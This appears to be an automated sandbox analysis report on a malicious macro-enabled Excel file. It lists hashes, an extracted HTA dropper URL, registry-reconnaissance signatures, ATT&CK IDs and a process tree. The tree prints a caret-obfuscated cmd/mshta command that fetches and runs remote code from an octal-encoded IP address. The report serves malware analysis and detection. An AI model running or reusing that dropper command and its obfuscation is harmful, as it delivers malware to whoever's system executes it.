c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15

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24-02-2022 04:28

220224-e3pb5abhc5 10

23-01-2022 09:27

220123-le9rgsfgek 10

18-01-2022 06:23

220118-g5rw5sabcj 10

Analysis

max time kernel
131s
max time network
135s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
18-01-2022 06:23

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General

Target

AT565.xlsm
Size

110KB
MD5

a1f20adb77868064a50bf9bc57f083e8
SHA1

f016542608ddadb035c27ea0e8384dee30c72f51
SHA256

c376ffe4c231464c947bc77a323936d8eb64d85bcd1ddcd33bcc161dae53ef15
SHA512

8be3e16a5ed738328db940de7dce129cf7dbdfbefb3b1baa2d15d1c971fd9613bc5047aaea5bd13f6f74b9dff2f6b89c4c033e9a5d934781b9673bd6ff3b9180

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0056.0151.0121.0114/c.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3732	4076	cmd.exe	50

Blocklisted process makes network request 1 IoCs

flow	pid	Process
16	1384	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4076	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4076	EXCEL.EXE
4076	EXCEL.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 3732	4076	EXCEL.EXE	52
PID 4076 wrote to memory of 3732	4076	EXCEL.EXE	52
PID 3732 wrote to memory of 1384	3732	cmd.exe	54
PID 3732 wrote to memory of 1384	3732	cmd.exe	54

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\AT565.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0056.0151.0121.0114/c.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3732
- - C:\Windows\system32\mshta.exe
    mshta http://0056.0151.0121.0114/c.html
    3⤵
    - Blocklisted process makes network request
    PID:1384

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4076-130-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-131-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-132-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-133-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-134-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-137-0x00007FFAA8550000-0x00007FFAA8560000-memory.dmp

Filesize
64KB

Download
memory/4076-138-0x00007FFAA8550000-0x00007FFAA8560000-memory.dmp

Filesize
64KB

Download
memory/4076-178-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-179-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-180-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download
memory/4076-181-0x00007FFAAAEB0000-0x00007FFAAAEC0000-memory.dmp

Filesize
64KB

Download

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Analysis

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General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads